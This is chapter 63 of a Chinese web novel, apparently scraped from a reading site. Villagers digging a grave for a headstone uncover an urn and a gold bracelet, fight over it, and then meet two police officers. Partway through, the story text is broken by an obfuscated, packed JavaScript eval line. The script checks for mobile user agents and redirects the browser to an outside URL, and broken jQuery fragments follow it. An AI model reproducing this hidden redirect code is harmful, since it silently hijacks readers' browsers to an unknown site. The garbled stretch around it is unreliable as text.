63.就不好使!

作品:《浴火而生

    而远在几十公里外的河阴村,此时此刻正忙活得热火朝天。


    村长戴着个草帽,坐在余大佑老屋的房檐底下,使劲挥舞着手里的扇子。


    那扇子由塑料做成,薄薄的一片,扇着却十分凉快。上面印着些“男科”、“治疗不孕不育”、“三年抱俩”等乱七八糟的广告语和几个撑着下巴的医生护士的图像。


    从前他并不嫌弃这上面的广告语不正经,跟村里其他人一样,不管是在树下纳凉,还是在村口的小卖部喝点小酒,人人手里都有一把。


    但是现在身份不一样了,毕竟是个村长,这种扇子拿在手里岂不是有失体面?


    不过今天情况特殊,上午看了天气预报,说下午能转阴,于是他就空着手出了门。


    合计着找几个村里手脚利索点的汉子,再凑点钱,好歹给余大佑的妻女除一除杂草,再立个碑,让母女俩在地底下也能安个心。


    结果没成想,非但没能等来阴天,竟然比前几天还热,热得他跟村口小卖部门前的大黄狗一样,没铲几下土就热得上气不接下气。


    这会儿手里的这上不得台面的扇子,还是他厚着脸皮拿的别人的。


    “村长,你过来瞧瞧,就挖这么深,可以不?”不远处,一个热得红了脸的汉子大声喊道。


    他身上的白色老汗衫已经穿得发黄,虽然热得脸色通红,但好在皮肤黝黑,看不太清楚。


    “我才歇了几分钟啊,你就喊!来了来了,哎哟喂,这些事儿要是离了我,还真不让人放心!”村长扇着小扇子,晃晃悠悠地走出房檐下的阴影。


    他走到坟前低头一看,那坑就跟他的脚面一般浅。


    “活儿是你们这么干的?”村长厉声问道,一边说着一边摘下头上的草帽,咣咣几下就往几人脑袋上招呼,“就这么深!就这么深!你们几个的大屁股拉泡屎都埋不住!还能埋进去碑啊?”


    几个人嬉皮笑脸,被他用草帽一阵招呼也不恼,嘿嘿嘿地笑着闪躲,一边躲一边跳。


    “再给我挖!别想偷懒!”村长斜睨他们几眼,摇着扇子又回到了房檐底下。


    日头西晒,虽说在河边的山坳里,大部分的阳光都被西边的群山挡住。但是视线跟随着老屋前连成一片、已然干枯的马尾草草尖,还是能看到它们像溪流上漂浮的一根根狭长叶片,跟着躁动的热浪起伏不断。


    村长的视野就这样跟着热浪的此起彼伏游移,渐渐地,头顶上刺耳的蝉鸣声也不觉得聒噪,他的上下眼皮不住地打架,眼前的景象也跟着消失、出现、再消失……


    “村长!村长!你来啊!快来!”那黑得看不出红脸的汉子用更大的分贝,撕心裂肺地喊着。


    村长半睡半醒,突然被人一惊吓,脑袋狠狠往下一栽,险些磕得个狗吃屎。


    “喊喊喊!你号丧啊!”


    村长被他惊扰了美梦,恨不得将他的父母拿出来问候一番,但眼下还指望着对方干活,他嘴上嘀嘀咕咕不知道骂了些什么,倒没耽误他的脚步。


    那汉子也是个没眼色的,其他几人都看到老头子阴沉个脸,于是低着头,握着手里的铲子锄头假装在泥土里翻。


    他倒好,嫌弃老头子手脚不利索,几个健步走向后方,一把扯过村长的大臂,跟拽小鸡仔似的扔到了土坑旁。


    “我们挖到个盒子,看到没,村长?你说是不是余大佑埋的宝贝!”


    汉子没有看到村长越发不耐烦的脸色,一脸期待地搓搓手。说到高兴处,竟然直接伸手冲那盒子抓去。


    离两人最近的国字脸男子终于看不下去了,动作比那黑脸汉子还快,锄头一扔就紧紧抓住了他的手,急忙制止对方,笑骂道:“中午吃稀饭吃胀了是不是,那是骨灰盒!”


    村长为了隐忍,已经将他的嘴巴抿成一条直线,却实在忍不了这蠢材,手里的塑料扇子化作一柄趁手的武器,打地鼠一样地往汉子背上招呼。


    他边打边骂:“你真是缺心眼第一名!还宝贝,余大佑家穷得叮当响,能有什么宝贝!”


    那汉子被他打得像个猴儿一样上蹿下跳,左闪右躲,嘿嘿傻笑。不知怎么回事,他一脚踩在那国字脸男子扔在地上的锄头上,天旋又地转,一张黑脸当即朝下,啃了一嘴泥巴。


    “呸!呸!”汉子再也不敢嬉皮笑脸了,一脸苦色。


    这地方到底是个坟地,这些土都是前几天从人家坟头上扒下来的,不知道有没有沾了脏东西。


    村长比黑脸汉子的父亲还要年长几岁,端了个长辈的架子,又有好几个人围观,一时间就抖擞威风,想拿他给自己的新职位开开路。


    可嘴皮子才张开,一丁点儿声音还没出,就被在场的最后一个人——一直沉默不语的精瘦男子扯了扯身后的衣服。


    精瘦男子自从来了这里就一直在干活,安安静静,别人讲笑话,他也不搭腔,只跟着笑呵呵烘托下氛围。


    “怎么了?”精瘦男子向来性子稳重,村长的问询中不免带上些认真。


    精瘦男子咽了咽口水,热烈的眼睛一动不动地盯着骨灰盒的方向,闷声闷气道:“村长,还真有宝贝……”


    半埋在泥土里的白瓷盒子已经被那黑脸汉子一脚踢开,盒子的底下,一方红色的布赫然出现在众人眼里。


    红布的一角,一点点乌金色悄然露出。


    一缕缕阳光照射在那点乌金之上,顿时反射出刺眼的光芒,映入在场四人的眼睛里。


    那一对对瞳孔中,或许因为燥热的天气,或许因为别的什么,不约而同地透出程度不一的热烈。


    细细一看,才能分辨出,众生百象,里面有贪婪、有垂涎、有茫然……


    “白警官,班警官!这边!”


    班青和白杨刚走到山口,村长就隔着老远冲他俩挥手,喊叫声回荡在山坳里,距离几十米也能听得清清楚楚。


    几十米开外,除了村长外,还能看到一个高高壮壮的人影。他握着把锄头,和村长并肩站着,颇有些一夫当关万夫莫开的气势。


    两人三步并做两步,往山坳里走,凑近了,才看见村长和他身边的黑脸汉子都是一身狼狈。


    两人白色的汗衫多多少少都沾了些泥土,土黄色混杂在衣服的白色当中,像是两只掺了黄点的白色小狗,此刻正热得满头大汗,恨不得连舌头也伸出来透个气。


    村长看起来稍微体面点,他身边的黑脸汉子左腹部的布衫已经变成了烂糟糟的布条子,恹恹地耷拉在他的腹部,漏出他白花花的肚皮。稍长的头发里混了几条细细的枯草枝,从他身后凹陷的草垛来看,应该是之前掉进了草垛里。


    现场一片狼藉,之前应该是发生了什么。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470613|179109||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “村长,你们这是……”班青关切地询问道。


    黑脸汉子满肚子的话憋了许久,看见警察来了,忙不迭地上前几步告状:“警察同志,你们可千万要为小民做主啊!你们看看,给我打得……”


    他一边说着,一边要把他的手臂递给他们看,还没走到班青和白杨面前,就被身旁一直没说话的村长一把抓住,又极快地推到了身后。


    “你少说几句话吧!家丑不可外扬,咱们村里的事儿,回去再说!”背着班青和白杨,村长不停地给他递眼色,压低了声音训斥他。


    黑脸汉子仍然愤愤不平、满腔义愤,直到村长的眼睛里带了些祈求,他才不情不愿地抿着嘴,勉强算作同意。


    “哼!”汉子瞪了一眼村长,然后径直走向身后的草垛,大大咧咧地一屁股坐在上面,拿过地上的塑料扇子用力地挥舞,好像在恨恨地抽着别人的大嘴巴。


    村长装作看不到班青和白杨的疑惑,嘿嘿一笑,不在意地找补:“发生了点意外,问题不大哈。哎,你们看看,这是刚才我们挖出来的。”


    村长领着他们走到挖出的洞坑前,解释了一句:“这不是看孙英梅母女两个可怜嘛,村里凑了点钱给她们母女立个碑。正挖着呢,你看看,挖出个骨灰盒和一个金手镯。”


    白杨弯腰看了看,然后指着骨灰盒,扭脸看向村长。


    还没开口询问,村长就赶紧摆手说道:“我们没碰!原封不动地摆着在这儿,挖出来就赶紧联系了你们——”


    “哼!我俩当然没碰了,瘦猴子他们两兄弟一见了宝贝,就跟狗见了包子一样来抢,哪有时间啊!”他抱着脑袋,翘着二郎腿仰躺在草垛子里,衔了根狗尾草,远远地吐槽,语气里满是讽刺。


    他是缺心眼儿,可他不傻,受了委屈就得明明白白地喊出来!


    也就是现在有警察在,老头儿也不让他瞎嚷嚷,等他回家去了,可瞧好吧,他非把瘦猴子两弟兄为了抢走余大佑家金镯子而跟他动手的事情宣传出去!


    他一定要嚷嚷得村里的猫啊狗的都知道,就算老头儿跟他爹告状也不好使!就不好使!


    村长知道他的脾气,也不敢触了他的霉头,尴尬地摸摸鼻子上的汗珠,若无其事地回到正题。


    “警察同志,你们看看怎么处理吧,老头子我就不好再插手了,嘿嘿。”


    半个小时后,两人跟村长和那黑脸汉子道了别,顶着头上余威尚在的毒辣日光走出了山坳。当下已经是九月下旬,距离汪明远出事也已经过了一个多月。


    白杨本想着能早早地结了案子,要是运气好,不再出什么新的幺蛾子,还能趁着十一的机会,也跟个风,去北京玩一玩。


    可是这案子虽说过五关斩六将已经到了现在,看着差不多快要结束了,却始终差个火候。


    不过急也急不来,线索越来越多,思路也越来越清晰,水落石出是迟早的事情。


    走着走着,他抬头看天,没见到西斜的阳光,只看到头顶密密麻麻的山茶树和樟树叶子。


    难怪这会儿不太热了,不过现下秋老虎也已经接近尾声,再嚣张,再毒辣,也猖狂不了多久了!


    正乱七八糟地想着,蔡小新又来了电话,照旧咋咋呼呼的,像个炮仗。


    “杨哥,你和青姐赶紧回来一趟!秦晓峰提供了新线索!”